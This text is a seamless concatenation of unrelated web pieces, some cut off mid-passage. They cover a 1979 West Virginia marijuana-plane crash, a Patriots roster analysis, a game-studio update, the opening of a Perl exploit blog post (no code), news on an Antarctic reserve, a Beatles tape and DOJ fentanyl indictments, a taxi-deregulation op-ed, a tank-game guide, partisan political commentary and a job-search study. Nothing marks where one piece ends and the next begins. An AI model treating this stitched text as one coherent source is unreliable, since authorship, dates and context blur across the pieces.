breaking into pieces. At that point the aircraft exploded, which miraculously tossed the crew clear."
But even if they had landed safely...
Great Article By James Haught Of the Charleston Gazette ODDBALL news events occur from time to time in West Virginia - and one of the wildest was the historic Pot Plane crash of 1979.
The caper involved a bizarre cast, including some moviemakers who, believe
it or not, eventually got out of jail and won an Academy Award.
The tale began after midnight on a summer night. An old Douglas DC-6 cargo
plane, four propellers whirring, approached Yeager (then Kanawha) Airport
and radioed for permission to land. Tower operators didn't know that the
darkness-shrouded craft contained 12 tons of marijuana.
Inside the plane were three young men in their 20s: The pilot, David
Seesing, a former Eagle Scout, was a Texas aircraft salesman who lived with
the daughter of President Nixon's ambassador to Australia. The co-pilot,
Dana Anderson, had previously served drug terms in Morocco and Colombia,
and had vanished from New York after his name surfaced in the murder of a
top model's lover.
Waiting on the ground in yellow Ryder rental trucks, ready to unload the
cargo, were five others, including Leon Jacques Gast and Shahbaz "Shane"
Zarintash. Gast was a movie producer who called his company Gassed Films.
Zarintash was an Iranian immigrant who had attended West Virginia Tech and
worked as an engineer for the state Division of Highways.
Also nearby, in an unmarked police car, was Kanawha County Sheriff's Deputy
Mark Chadwick. His father, Sgt. Jim Chadwick, was at the county police
headquarters.
Then the plan went haywire. The DC-6 touched down, but gunned its engines
in a doomed attempt to climb. The craft plummeted down a hillside, ripping
apart, spewing 400 or so 50-pound bales of pot, and catching fire. The crew
jumped for their lives. One of the four engines reached Keystone Drive in
the valley far below. Bales hung in treetops and ruptured down the slope.
Police and emergency crews roared to the airport. Officers found Anderson
staggering along a road, injured. Nearby were Seesing and the third
crewman, muddy and bloody. At first, they told police they had been fighting.
Radio alarms were flashed around the Kanawha Valley. Police soon caught the
others in the fleeing Ryder trucks. Later, charges were filed against the
father-and-son deputies, Jim and Mark Chadwick, accusing them of aiding the
smuggling plot.
Sightseers began looting the spilled pot, and 15 were arrested. Police
doused the bales with fuel oil, trying to burn them, and sprayed the
hillside with herbicide. National Guardsmen patrolled the site. Some bales
were buried - then dug up again after looters tried digging. It was a mess.
Trials finally began the following winter. Four suspects pleaded guilty,
including director Gast. He said he and Zarintash were trying to make a
documentary movie about a boxing match by Muhammad Ali in Africa.
Other defendants sweated through months of courtroom delays. It was called
the "snow-to-roses trial" because it stretched into summer.
One defense attorney, Edwin Kagin of Kentucky, lived in a tent at Kanawha
State Forest. Nearby, another defense lawyer, Richard Chosid, stayed in a
camper. Also tenting was an investigator, disbarred lawyer Harry Shelor.
They said they were saving defense costs for clients.
When verdicts finally came down, four more smugglers were convicted, and
all got five-year sentences. Sgt. Chadwick was found innocent, and his
son's trial ended with a hung jury.
More court struggles ensued. Bankrollers of the plot were indicted and
convicted. Some verdicts were set aside, and the smugglers convicted again.
Young Deputy Chadwick finally was acquitted - even though three of the
smugglers testified that he had been their lookout. Then-Sheriff Danny
Jones said Chadwick "walked into my office after the verdict, demanded to
see me, and asked for six years back pay." The ex-deputy filed several
appeals seeking more than $100,000 from taxpayers, but the Gazette and
others protested, and his effort failed.
Meanwhile, lawyers bit the dust. One bankroller who pleaded guilty was
Florida lawyer Frederick Shapiro. Then defense lawyer Chosid was convicted
in a Michigan pot-smuggling scheme. Worst of all, ex-lawyer Harry Shelor,
who had served as an investigator, drew a death sentence for murdering a
state trooper who discovered his Kentucky pot patch.
Another weird twist happened a year after the crash, when lawyer Jon Duncan
came to a Monroe County bank with a garbage bag containing $58,000 in small
bills. The money was deposited in the attorney's escrow account. Later,
$42,600 more was brought in a fishing tackle box. Four other deliveries
raised the total to $157,000.
Federal agents said the money came from the Pot Plane plot. They charged
the bank with failing to obey a law requiring disclosure of cash deposits
greater than $10,000. Then-federal Judge Elizabeth Hallanan remarked that
"$58,000 in small bills in a garbage bag is not routine."
The bank paid a fine. One of the marijuana smugglers and a Monroe County
man he had met in Kanawha County jail - a psychotic who had shot his
girlfriend to death in the Kanawha County welfare office - were convicted
in 1986 for this money mess.
The Pot Plane caper seemed over. Then an epilogue occurred. Director Gast
finally finished his film about Muhammad Ali, titled "When We Were Kings" -
and it won a 1997 Oscar for best documentary.
The lawyer who lived in a tent, Kagin, son of a Presbyterian minister,
today is a leader in national agnostic groups.
In the news business, we watch a lot of strange stories unfold. This one
was a classic.
Haught is the Gazette's editor.
Pubdate: Mon, 13 Oct 2003
Source: Charleston Gazette (WV)
Keith Lake posted the following response in 2009
Harry Shelor Jr. was never a lawyer and thus could not have been disbarred. He was a convicted felon at 17 years of age for taking a stolen car across state lines on a joy ride. He was a paralegal in the employ of Edwin Kagan. He was involved in another 'Pot Case' which involved a plot of land owned by Edwin Kagan. He did not receive the dealth penalty verdict as you have reported.
He was given a plea bargain based on circumstance of evidence which linked him to the crime site. The plea bargain was set for 15 years by a blind public defender who was assigned the case after the initial defense attorney failed to prevent a mistrial and hung jury due to a state representative passing legislation on such crimes having the ability to secure a seat on the jury as a 'farmer' who really had not opinion or connected with the case.
The mistrial was overseen by judge Carmel Cook who accepted the plea bargain in lieu of retrying the case as a death penalty option... the 15 year sentence was interpreted by the parole board as a 50 year serve out.... with no consequence for Kagan or any of the other investors associated with the West Virginia and Cornbread Mafia Syndicate from whence the support came.
Thats justice for you... the record stands corrected
"The Cornbread Mafia"
LOL
Photos courtesy of Yeager Airport Archives. Articles by The Charleston Gazette and Daily Mail
Finally, from Facebook:
Glennis Walker said: The story left out the part where all of the seeds from the plants were scattered all over the mountain and more plants started growing and they tried to kill the plants with diesel fuel but it didn't work and soon we .... er I mean the locals soon started smoking Diesel Pot ......
All photos Copyright , and not to be used without permission of Mywvhome.com
There seems to be a disconnect between the New England Patriots' perceived needs and actual needs.
Prior to the 2016 NFL draft, the general consensus stood that the Patriots had holes to fill at running back and offensive tackle. One could argue that the perceived hole at tackle was not due to any concerns about the talent at the top of the depth chart, but rather at the depth behind them.
Backup tackle Marcus Cannon struggled when called upon in 2016. The Patriots' tackle depth was ripped to shreds by injury in 2015, when Nate Solder, Sebastian Vollmer and Cameron Fleming all missed time with injuries. Cannon was one of the first to step in as the team's top backup, but he was beat like a drum, and with almost the same rhythmic consistency.
According to Pro Football Focus, Cannon ranked 44th out of 59 offensive tackles in pass-blocking efficiency, yielding 31 total pressures (19 hurries, eight hits, four sacks) on 365 snaps in pass protection (8.5 percent).
New England Patriots tackle depth Player Ht Wt Exp Nate Solder 6'8" 325 5 Sebastian Vollmer 6'8" 325 7 Marcus Cannon 6'5" 335 5 Cameron Fleming 6'6" 320 2 LaAdrian Waddle 6'6" 328 3 Keavon Milton 6'4" 324 2 Source: Patriots.com
Yet, given multiple opportunities to find an upgrade over Cannon on the open market, the Patriots have stood pat with their top backup. The depth chart looks almost exactly the same as it did last year, with a few minor additions and truncations.
The lack of notable newcomers lends to the illusion that Cannon is safe in his job title as the third wheel at offensive tackle, when history and current situations lend to the recurring certainty that Cannon is no safer than roaring down the highway at 85 mph headed straight for a brick wall. Whether that wall is six miles or 600 miles away, it's coming eventually, and you'd better be using your time finding a way around it.
Cannon has some support inside the walls of Gillette Stadium; he must have been grinning from ear to ear when he heard that former offensive line coach Dante Scarnecchia was set to make his return. Scarnecchia often spoke highly of Cannon in interviews, but Scarnecchia's past endorsement does not necessarily mean job security.
After all, just look at the guard position. Scarnecchia had a hand in scouting Tre' Jackson and Shaq Mason just last year, but the Patriots have added three guards to the depth chart in addition to signing veteran Josh Kline to a contract extension.
Fortunately for Cannon, the competition at tackle is less heavy than at guard. Right now, the only other backup options are Cameron Fleming, LaAdrian Waddle and Keavon Milton. Cannon has nearly as much NFL experience (six years) as those three combined (seven).
Unfortunately for Cannon, his cap number far outweighs his performance and the amount of playing time he would earn in a best-case scenario (or worst case for the Patriots). Cannon is slated to count more than $4.7 million against the 2016 salary cap, according to Spotrac, and the Patriots could save a little more than $3.6 million by cutting him.
Sitting just $10 million away from the salary cap, the Patriots could use some more breathing room for 2016—and they can always carry over some of their leftover money into 2017 if they don't dip into an emergency fund.
That being said, while it may be a matter of dollars in the long run, any move the Patriots make has to also make sense in the short run. It would be unwise to move on from Cannon just to save the money without a backup plan for backing up Solder and Vollmer. If Fleming, Waddle or Milton can show sometime in the next three-and-a-half months that they can be a backup tackle, Cannon could be out.
Unless that happens, we likely haven't seen the last of Cannon in a Patriots uniform.
Hopefully you're all enjoying the season (like we totally are) and you aren't rushing around finishing last minute shopping (like we totally are) and you are, maybe, partaking in an eggnog or two (like we totally are).
If you missed it on the forums or Twitter, we posted some alien portraits. These are some characters that you meet as you explore the universe and encounter all the different factions/races of Halcyon 6. We've even been toying with a little intergalatic smack talk between 'friends'.
Also, we got you Alpha and Beta backers a little something for your stockings: we expect we'll be reaching out in January to get you all squared away to start ACTUALLY PLAYING EARLY VERSIONS OF HALYCON 6. Fair warning, there's some housekeeping that has to happen first, like we're still working through distribution channels and setting up closed forum access for your feedback. But you should hear from us early in the new year via BackerKit. In the interim, if you haven't already, make sure you've created an account on our fourms (forums.pleasestaycalm.com) so you're ready to take advantage.
Our shout out this week goes to Star Wars The Force Awakens. If you haven't seen it yet, go. We all went for our office holiday party and it was amazeballs! #NoSpoilers
Peter wasn't there, instead he saw it in Montreal 3 hours afterward. Typical hipster move.
tl;dr EXPLOIT ALL THE PERL.
We chained several of Perl’s ridiculous syntax quirks in order to create a surprisingly powerful attack, bringing down some of the most popular Perl-based projects in the world to their knees. Brace yourselves, RCE exploits are coming.
Deemed ‘the write-only programming language’ by many, Perl has well-served its purpose as a successful subject for less successful programmer jokes. It’s self-obfuscating ‘TMTOWTDI’ syntax is one of the top reasons for sysadmin PTSD, nervous breakdowns, and marriage problems.
Sadly, it is 2014 and Perl still maintains a top-10 position in programming language popularity indexes – sometimes higher than JavaScript. This can be attributed to the fact it is the underlying platform running many applications still widespread today such as ‘cPanel’ or ‘Bugzilla’, as well as high-profile web sites such as Craigslist, IMDb, Slashdot, DuckDuckGo and TicketMaster, among others.
At its third attempt to gain approval, the 1.6 million square kilometre East Antarctic system put forward by Australia, France and the European Union is to be broken down to smaller pieces hoped to win approval.
"The compromise that we've put on the table is, for those who are wary about the full outcome, let's look at a staged approach," Environment Minister Greg Hunt told reporters on Monday.
"I would like to get the whole thing as soon as possible," Mr Hunt said. "But...If we can go to zero to something significant, I think that would be an outstanding success."
An original tape of The Beatles performing at The Cavern Club in Liverpool in 1962 has been found after 50 years languishing in a desk drawer.
It features the Fab Four playing Some Other Guy in September 1962, four weeks before their debut single came out.
It was recorded after the group were filmed for Granada TV's Know The North, but was never broadcast.
The tape was kept by TV producer Johnnie Hamp, who will auction it for charity in Liverpool on 4 November.
BBC Entertainment Live: News Updates
The recording was done because the sound quality on the TV footage was so bad. Granada sent a sound engineer back to the Cavern just to record audio, which was to be dubbed onto the film.
But due to legal issues with other acts on the show, the programme was not screened.
However, The Beatles' manager Brian Epstein was so impressed with the recording that he asked for five acetate discs to be pressed from the tape to use as promotion.
The whereabouts of four of the acetates are unknown, but the fifth was sold at auction in 1993 for £16,000 to Apple Records, the label set up by The Beatles in 1968.
The Justice Department announced today that federal grand juries in the Southern District of Mississippi and the District of North Dakota returned indictments, unsealed yesterday, against two Chinese nationals and their North American based traffickers and distributors for separate conspiracies to distribute large quantities of fentanyl and fentanyl analogues and other opiate substances in the United States. The Chinese nationals are the first manufacturers and distributors of fentanyl and other opiate substances to be designated as Consolidated Priority Organization Targets (CPOTs). CPOT designations are those who have “command and control” elements of the most prolific international drug trafficking and money laundering organizations.
On Sept. 7, Xiaobing Yan, 40, of China, was indicted in the Southern District of Mississippi on two counts of conspiracy to manufacture and distribute multiple controlled substances, including fentanyl and fentanyl analogues, and seven counts of manufacturing and distributing the drugs in specific instances. Yan, a distributor of a multitude of illegal drugs, used different names and company identities over a period of at least six years and operated websites selling acetyl fentanyl and other deadly fentanyl analogues directly to U.S. customers in multiple cities across the country. Yan also operated at least two chemical plants in China that were capable of producing ton quantities of fentanyl and fentanyl analogues. Yan monitored legislation and law enforcement activities in the United States and China, modifying the chemical structure of the fentanyl analogues he produced to evade prosecution in the United States. Over the course of the investigation, federal agents identified more than 100 distributors of synthetic opioids involved with Yan’s manufacturing and distribution networks. Federal investigations of the distributors are ongoing in 10 judicial districts, and investigators have traced illegal proceeds of the distribution network. In addition, law enforcement agents intercepted packages mailed from Yan’s Internet pharmaceutical companies, seizing multiple kilograms of suspected acetyl fentanyl, potentially enough for thousands of lethal doses.
On Sept. 20, Jian Zhang, 38, of China, five Canadian citizens, two residents of Florida, and a resident of New Jersey were indicted in the District of North Dakota for conspiracy to distribute fentanyl and fentanyl analogues in the United States, conspiracy to import the drugs from Canada and China, a money laundering conspiracy, an international money laundering conspiracy, and operation of a continuing criminal enterprise. Zhang ran an organization that manufactured fentanyl in at least four known labs in China and advertised and sold fentanyl to U.S. customers over the Internet. Zhang’s organization would send orders of fentanyl or other illicit drugs, or pill presses, stamps, or dies used to shape fentanyl into pills, to customers in the United States through the mail or international parcel delivery services. Federal law enforcement agents determined that Zhang sent many thousands of these packages since January of 2013.
On Oct. 11, Elizabeth Ton, 26, and Anthony Gomes, 33, both of Davie, Florida were arrested. On Oct. 12, Darius Ghahary, 48, of Ramsey, New Jersey was arrested. Ton, Gomes, and Ghahary are charged with drug trafficking conspiracy in the Zhang indictment.
The investigations of Yan and Zhang revealed a new and disturbing facet of the opioid crisis in America: fentanyl and fentanyl analogues are coming into the United States in numerous ways, including highly pure shipments of fentanyl from factories in China directly to U.S. customers who purchase it on the Internet. Unwary or inexperienced users often have no idea that they are ingesting fentanyl until it is too late. The Centers for Disease Control estimates that over 20,000 Americans were killed by fentanyl and fentanyl analogues in 2016, and the number is rising at an exponential rate.
Zhang was charged with conduct resulting in the deaths of four individuals in North Carolina, New Jersey, North Dakota, and Oregon in 2014 and 2015 and the serious bodily injuries related to five additional individuals.
These recent law enforcement efforts to keep fentanyl and fentanyl analogues from entering the United States were announced by Deputy Attorney General Rod J. Rosenstein; Acting Administrator Robert W. Patterson of the Drug Enforcement Administration (DEA), Acting Deputy Director Peter T. Edge of U.S. Immigration and Customs Enforcement (ICE) and Assistant Commissioner Joanne Crampton of the Royal Canadian Mounted Police (RCMP).
“Zhang and Yan are the first Chinese nationals designated as Consolidated Priority Organization Targets (CPOTs),” said Deputy Attorney General Rosenstein. “CPOTs are among the most significant drug trafficking threats in the world. The defendants allegedly shipped massive quantities of deadly fentanyl and other synthetic opioids to communities throughout the United States, mostly purchased on the Internet and sent through the mail. The chemicals allegedly killed and injured people in several states, and surely caused misery to many thousands of people. Under the leadership of President Trump and Attorney General Sessions, we are taking back our communities by pursuing suppliers of deadly drugs wherever they are located.”
“Xiaobing Yan, Jian Zhang and their respective associates represent one of the most significant drug threats facing the country – overseas organized crime groups capable of producing nearly any synthetic drug imaginable, including fentanyl, and who attempt to hide their tracks with web-based sales, international shipments and cryptocurrency transactions,” said DEA Acting Administrator Patterson. “At a time when overdose deaths are at catastrophic levels, one of DEA’s top priorities is the pursuit of criminal organizations distributing their poison to American neighborhoods. These indictments are a first step; our investigators remain relentless in their pursuit to dismantle these organizations and bring those responsible to justice. DEA, along with our global network of law enforcement partners, will go after these types of criminals wherever they operate.”
“This case began when local police officers responded to what has become an all-too familiar tragedy in the United States: the heroin and fentanyl overdose of two young adults, one who survived and another who did not,” said ICE Acting Deputy Director Edge. “Fentanyl is 50 times more potent than heroin and 100 times more potent than morphine. Drug trafficking organizations that deal in such a deadly game will have to face the combined resources of federal law enforcement agencies and our international partners. ICE Homeland Security Investigations is committed to helping combat this new and growing epidemic.”
“We live in an increasingly global and interconnected world – crime has no borders,” said Assistant Commissioner Crampton. “Law enforcement must respond accordingly by working beyond our borders together to detect and disrupt criminal activity. By fostering a solid integrated and coordinated law enforcement approach, we will continue to disrupt international drug trafficking networks.”
The cases against Yan and Zhang are being investigated by the DEA, ICE Homeland Security Investigations, the Internal Revenue Service Criminal Investigation, the U.S. Postal Inspection Service and the RCMP. Valuable investigative assistance has also been provided by U.S. Customs and Border Protection and the Ministry of Public Security of China. The case against Yan is being prosecuted by Assistant U.S. Attorney John Meynardie in the Southern District of Mississippi. The case against Zhang is being prosecuted by U.S. Attorney Chris Myers and Assistant U.S. Attorney Scott Kerin in the District of North Dakota, along with Trial Attorney Adrienne Rose of the Criminal Division’s Narcotic and Dangerous Drug Section. Substantial prosecutorial assistance has been provided by the U.S. Attorney’s Office in the District of Oregon and the Quebec office of the Public Prosecution Service of Canada.
Both of the indictments announced today are the result of coordinated, multi-agency, multi-national investigations conducted by agents and investigators of the Organized Crime Drug Enforcement Task Forces (OCDETF), and were further supported with national and international coordination led by the multi-agency Special Operations Division (SOD). The OCDETF Program is a partnership between federal, state, local, and international law enforcement agencies. The OCDETF mission is to target the most serious transnational organized crime threats facing the United States, including drug trafficking, weapons trafficking, and money laundering. Prior to the announcement of these indictments, Jian Zhang and Xiaobing Yan were designated as OCDETF Consolidated Priority Organization Targets (CPOTs), and are considered by the United States as some of the most significant drug trafficking threats in the world.
If convicted, Yan faces a maximum statutory penalty of 20 years in prison, a $1 million fine, and three years of supervised release. Zhang faces up to life in prison and $12.5 million in fines. Any sentences will be determined at the discretion of the district courts after considering any applicable statutory factors and the Federal Sentencing Guidelines. The charges are only allegations; the defendants are presumed innocent until and unless proven guilty beyond a reasonable doubt.
According to a report this week from the Montreal Economic Institute, a couple of Australian cities are dealing with the Uber “problem” — only in Canada is an efficient new consumer-friendly technology categorized as a problem — by doing exactly what most economists would recommend: namely, de-regulating taxi prices, opening the industry to more or less free competition and, at the same time, partly paying off existing licence-holders for the hit they’ll take to the value of their licences, for which many of them paid tens, if not hundreds of thousands of (Australian) dollars. In New South Wales, where Sydney is the biggest city, the payoffs will be financed by a temporary tax of a dollar per ride, by Uber or taxi.
It’s essentially the same system Australia used 15 years ago to unburden itself from milk quotas: i.e., de-regulate dairy output and prices, let anyone into the industry who wants in, and finance payoffs to existing quota holders with an 11-cent per litre milk tax imposed for the eight-year transition.
To be sure, our late federal government, the Conservative one, headed by that person whose name we dare not speak, worked out a similar plan in connection with the Trans Pacific Partnership trade agreement. Access to our supply-managed industries would be liberalized a teensy bit, for which existing quota holders would get compensation. A better policy would have to blow up supply management entirely, with or without the TPP, but even such a supposedly radical government couldn’t bring itself to bold, Aussie-style measures, so instead we got marginal changes.
Never mind. Little reforms might have been useful first steps for us timid non-Australians. Maybe, eventually, they would have led to bigger steps once the good sense of the deregulate-and-compensate model began to be appreciated. Now, even such a modest reform is in limbo, however, with a new government that speaks its own name high and low, but has yet to approve the TPP.
Why we don’t go ahead with deregulate-and-compensate is a puzzle. Envy is the marinade of the Canadian body politic, of course. Maybe we’re irked by the idea of providing compensation to people who once were able to afford almost $300,000 for a taxi licence — the price last year in Laval, north of Montreal.
If so, we should get over it. In the first place, some licence-holders did pay that for the privilege of charging us sky-high taxi fees. Any new system involving free entry will drive the value of their licence to zero. The effect would be akin to losing your house to a fire — without fire insurance. We presumably don’t want policies to have the same effect on people as mad arsonists would.
True, nobody forced anyone to spend so much on a taxi licence. Moreover, some licence-holders may have got theirs free when they were handed out at a price of zero in the 1970s, though presumably most such people sold out long ago at a nice profit. And, of course, licensees’ motives were far from pure. The reason the licences were so valuable was that they permitted their holders to legally bilk us taxi users with the well-above-market prices that taxi regulators enforced and that Uber is so effectively undermining.
That they were, wanted to be, and maybe even enjoyed being legal monopolists doesn’t change the fact, however, that many licence-holders will suffer a big capital loss when competition arrives. As good human beings, we may well sympathize with them for that, even as we free ourselves from their extortive prices. But even if we don’t bubble over with fellow feeling for them — they never did for us, as we paid their high prices year after year — we should recognize the political reality that they have leverage over the deregulation.
They may exercise it in ham-handed ways by blocking traffic, as they did in Montreal Wednesday and apparently plan to do in Toronto during the NBA’s All-Star weekend, or by mawkishly exaggerating their distress. One sign seen during Montreal drivers’ protests this week was “Je suis taxi,” a cringe-inducing attempt to establish equivalency between service providers protecting their privileged economic status and innocent satirists gunned down by terrorists. Every self-proclaimed victim is a “je suis” these days. Personally, je suis fed up with all the je suises.
The fact remains, however, that they do have leverage and seem willing to exercise it. Compensation may not persuade them they’re being treated fairly. But it may well persuade sympathizers in the general public that deregulation is being done fairly. Politically, that may prove crucial.
Not sure what to do with your Gold? Check out WoT Economics!
The Good, the Bad, and the Ugly By RivaL's Unknown0ne The Good Decent damage per minute for a medium tank (approx. 1850)
Decent speed and maneuverability for its armor The Bad Very poor shell penetration
Lackluster gun handling
Armor is ineffective The Ugly Can battle up to tier VIII Reasons to Buy You're looking for a point-blank brawling tank
You want to train your Soviet medium tank Crews Reasons Not to Buy You prefer accuracy to raw damage per minute (go for the Pz. Kpfw. IV Schmalturm)
You want something with more shell penetration (try the Dicker Max)
Play Style
The T-34-85M’s strength is its damage per minute, which is best utilized close to the enemy and on their flank to help compensate for its poor gun handling and penetration. Medium to long range engagements are certainly possible, but the characteristics of the gun make them undesirable.
Loadout
If you want to maximize your damage per a minute, you’ll want to optimize your rate of fire and speed, while trying to compensate for its poor gun handling and minimizing downtime from critical damage.
Sean Gallagher of Ars Technica reported yesterday the shocking news of the lax the security protecting the data:
A consultant who did some work with a company contracted by OPM to manage personnel records for a number of agencies told Ars that he found the Unix systems administrator for the project “was in Argentina and his co-worker was physically located in the [People’s Republic of China]. Both had direct access to every row of data in every database: they were root. Another team that worked with these databases had at its head two team members with PRC passports.
The data is being brokered on the black market. One retired senior intelligence community official called the breach an “absolute calamity.” And yet “Obama continues to have confidence in OPM director.”
Some in the media are doing wonderful work interrogating the seriousness of the breach. But when it comes to many others, they seem curiously incurious about the severity of the problem. On the front page of the Washington Post site as I write this, there is not a single word about this “calamity.” Instead, there’s this:
Yes, as the world burns from Ukraine to Iraq to the South China Sea, as we face a catastrophic seizure of data on all of our military and federal personnel, as the country faces real civil unrest and discord, the Obama administration has decided to turn its focus on the “problem” of a great immigrant Founding Father’s presence on our currency.
This simply has to be the most irrelevant societal cause of them all. It clearly springs from a progressive feminist campaign to put a woman on the $20 bill. That campaign pushed candidates such as — and I need to emphasize that I am in no way joking or exaggerating here — Betty Friedan and Margaret Sanger.
This campaign is the archetype of the meaningless and empty gestural politicking that constitute feminism and the left these days. I mean, they want to put a woman on the $20 dollar bill at the historical moment that the cashless society is dawning upon us. Instead of the $20 bill, though, the feminist media campaign will have to settle for the $10 bill. I don’t know if the Obama administration chose the latter over the former because Andrew Jackson, who valiantly won the Battle of New Orleans among other things, is such a popular figure in Democratic circles (local Democratic organizations annually host Jackson Day dinners), or that a redesign of the $10 was supposedly already in the works.
The feminist campaign had chosen Harriet Tubman, who was, unlike their other choices Friedan and Sanger, unquestionably a great American and a moral beacon. She was a devout Christian whose faith informed her belief that all humans, regardless of color, creed, or age, had a right to life and the freedom to live it as they chose. That Christian faith formed the foundation of the abolition movement of which she was a significant part. She believed in the Second Amendment and the right to defend oneself with force, if necessary.
Jack Lew announces in this video that who we put on our currency has “long been a way to honor our past, express our values and capture the prevailing sentiment of the time.” Further, the “new $10 bill will be first bill in more than a century to feature a portrait of a woman.” The fact that Hamilton is getting kicked off and will be replaced by “a woman” sounds like it was written by Silicon Valley’s Mike Judge. Seriously. You have to watch this clip, which I can’t embed. A brief mention of the point is here:
People are upset to see Hamilton sidelined. He is the only immigrant on our currency and he couldn’t be more important to the founding of the country or, as it happens, our entire financial system. His story should be learned by all patriotic Americans. But if Lew is right that our currency is supposed to express our values and capture the spirit of our age, a man as good as Hamilton has absolutely no business being on the currency. George Washington definitely doesn’t. Heck, we should replace them all.
Here are just a few ideas of who should go on our currency to replace all these dead white men who advocated self-government by virtuous people.
$1: George Washington
We have several options here. While George Washington was the first president of the United States of America, Woodrow Wilson was the first president of our progressive nation which rejected self-government for the administrative state. He has every right to replace Washington. Or maybe it should be Bill Clinton. You know he’s the kinda guy who always makes sure to have enough singles…
$2: Thomas Jefferson
There’s an argument to be made for replacing Thomas Jefferson with Chairman Mao. Not only does this homage to China pay tribute to China owning most of our debt and all of our online personal data, but Mao was also terrible on religious freedom. Now that we’ve rejected Jefferson’s bold defense of religious freedom, we should replace him with someone more attuned to our belief that religion is an enemy of the state’s goals.
$5: Abraham Lincoln
Abraham Lincoln was one of our greatest presidents. He emancipated the slaves and fought a bloody war to save the republic. More than 150 years have passed since he was shot by political opponents. Perhaps a better representative of the current state of race relations and what we’re doing to improve them is embodied by Al Sharpton, a significant advisor to the White House on race relations.
$10: Alexander Hamilton
Alexander Hamilton put America’s financial and monetary system on a sound footing, so his replacement should be the man who changed that most fundamentally: Richard Nixon, who permanently broke the link between the dollar and gold, setting us up for our current system of funny money.
$20: Andrew Jackson
Jackson was always an odd choice because he vetoed the central bank. Should he really be on the central bank’s currency, even if we want to honor him for winning the Battle of New Orleans? As my colleague Robert Tracinski notes, “The reason he opposed the central bank is because he viewed it as a mechanism for giving special favors to political connected financiers–basically, as crony capitalism. And for all his faults, that was what Jackson stood for: no special favors for the elites. So the obvious replacement is Hillary Clinton, who perfected the art of turning the federal government into an engine for personal enrichment and the advancement of her friends and hangers-on.”
$50: U.S. Grant
Grant gets bad marks for the corruption he oversaw as president, as well as the highly politicized way he ran reconstruction. But whether he was waging war or politics, he was quite effective. Our current hero of effective political organizing is Saul Alinsky, whose Rules for Radicals inspired a generation of progressives (including journeyman presidential candidate Hillary Clinton!) and helped take out conservative opposition.
$100: Benjamin Franklin
Benjamin Franklin is one of the few non-presidents on our currency. We celebrate him for his ingenuity. He was a diplomat and statesman, a civic activist, an inventor, a political theorist and even a postmaster. When we think of inventions, we think of Franklin. When we think of reinventions and people who embody courage, diplomacy, strength, and communication skills, I think we can all agree that Bruce “Caitlyn” Jenner is the woman to replace Ben.
$500: William McKinley
We need more women on these bills. How about Margaret Sanger, founder of Planned Parenthood and noted eugenicist. McKinley was shot by an anarchist. Sanger helped create Planned Parenthood, which now kills hundreds of thousands of unborn children each year.
$1,000: Grover Cleveland
Cleveland opposed subsidies and fought unions. To pay respect to the importance of how American union leaders took the idea of employee organization and somehow turned it into corrupt politicking for union leaders’ gain at the expense of the lives of blue collar Americans, it’s time for Jimmy Hoffa to get some respect.
$5,000: James Madison
We have multiple good options to take out the father of the Bill of Rights. What about the stepmother of Abortion Rights, eugenicist and abortion rights advocate Ruth Bader Ginsburg? If cismen are allowed for this bill, Oliver Wendell Holmes’ rejection of natural rights and introduction of pragmatism into the law makes him a strong contender. More than any president other than Wilson, though, we need to make space for Franklin Delano Roosevelt, who took Wilson’s message and entrenched it. His threats to pack the Supreme Court helped break the last of SCOTUS’s resistance to unlimited government.
$10,000: Salmon P. Chase
Treasury Secretary Chase was known as the attorney general to fugitive slaves. He introduced paper currency and is why we have “In God We Trust” on our currency. But now our currency is, if we’re honest, booties. And we trust in reality television and celebrity status. Kim Kardashian has earned the right not just to break the internet but replace Chase on this bill.
$100,000: Woodrow Wilson
Wanberg tracked 177 unemployed people over the course of 20 weeks by sending them weekly online surveys. Those who engaged in more intense job searches exhibited better mental health than those who were more relaxed about looking for work. The researchers measured mental health by asking respondents to rate themselves on a six-point scale in response to questions like, “have you felt downhearted and blue?”
The study, which is published in the current issue of The Academy of Management Journal, underlines what is most difficult about looking for a job. It is a lonely, unpredictable process with no rules, no guarantees, no supervision and a huge amount at stake. As Professor Wanberg writes in the paper, “Looking for a job is an unfolding task that is highly autonomous, self-organized, loosely structured, and ill-defined. Individuals must decide on their own how and how often to search, and they rarely receive feedback about the effectiveness of the job-search activities and the strategies they are using.” In other words, both motivation and reward must come from within. When rejections start to pile up, it can be incredibly difficult to keep slugging.
One intriguing statistic from the study: Though career professionals say that job seekers should treat their search like a full-time job, participants in the study spent only 17 hours a week on their search at the outset. That declined to 14 hours a week at week 15, and then ticked up slightly after that. The lesson here, say the researchers: Track the amount of time you spend on your search and bump up your effort if you find it lagging.
A piece of good news: even in this depressed job climate, 128 or 72% of the study participants found a job within the 20-week study period.
The biggest lessons from the study: Not only is finding a job in your own hands but so is your mental health, which is directly linked to your ability to push ahead with your job search. Though looking for a job can be one of the toughest tasks in life, especially when you’re feeling down, it’s incredibly important to soldier on. Remaining jobless and not trying to find work takes a toll on self-esteem and overall mental health. Networking and going on informational interviews is horribly tough when you’re feeling low, but it pays off in self-esteem and ultimately, in your ability to land a job.
Wednesday, August 31, 2011
The long march to dismantle democracy
by digby
I've been writing about the conservative movement's long term project to disenfranchise Democratic voters since I started this blog. I had hoped that after the debacle of the 2000 election, the Democrats would take this issue seriously and put some weight behind substantial election reform. This was not to be. As usual, nobody wanted to look in the rearview mirror or play the blame game and now the results are possibly catastrophic.
This piece by Ari Berman in Rolling Stone tells the tale of that project finally coming to fruition. And it's chilling;
As the nation gears up for the 2012 presidential election, Republican officials have launched an unprecedented, centrally coordinated campaign to suppress the elements of the Democratic vote that elected Barack Obama in 2008. Just as Dixiecrats once used poll taxes and literacy tests to bar black Southerners from voting, a new crop of GOP governors and state legislators has passed a series of seemingly disconnected measures that could prevent millions of students, minorities, immigrants, ex-convicts and the elderly from casting ballots. "What has happened this year is the most significant setback to voting rights in this country in a century," says Judith Browne-Dianis, who monitors barriers to voting as co-director of the Advancement Project, a civil rights organization based in Washington, D.C.
There are a lot of scary things going on in our political and economic culture right now. The growing police state, the dysfunctional governing structures, the economic failure and corruption. But this one goes right to the heart of our democracy and attacks it head on.
The movement has been leading up to it for decades, but it's picked up speed in the last 12 years. They impeached a Democratic president and stole an election in a two year time span. They fired US Attorneys for failing to rig elections and dismantled the voting rights section of the DOJ. They've packed the courts with anti-democratic judges and filed cases before them to create a sense of systematic voter fraud that doesn't actually exist. And last November they made their move into state houses all over the country and wasted no time in creating laws to disenfranchise as many liberal voters as possible.
Democrats had better hope that the coming elections aren't close. If they are, there's just no way they can win with these laws that are coming on line. And that's the plan.
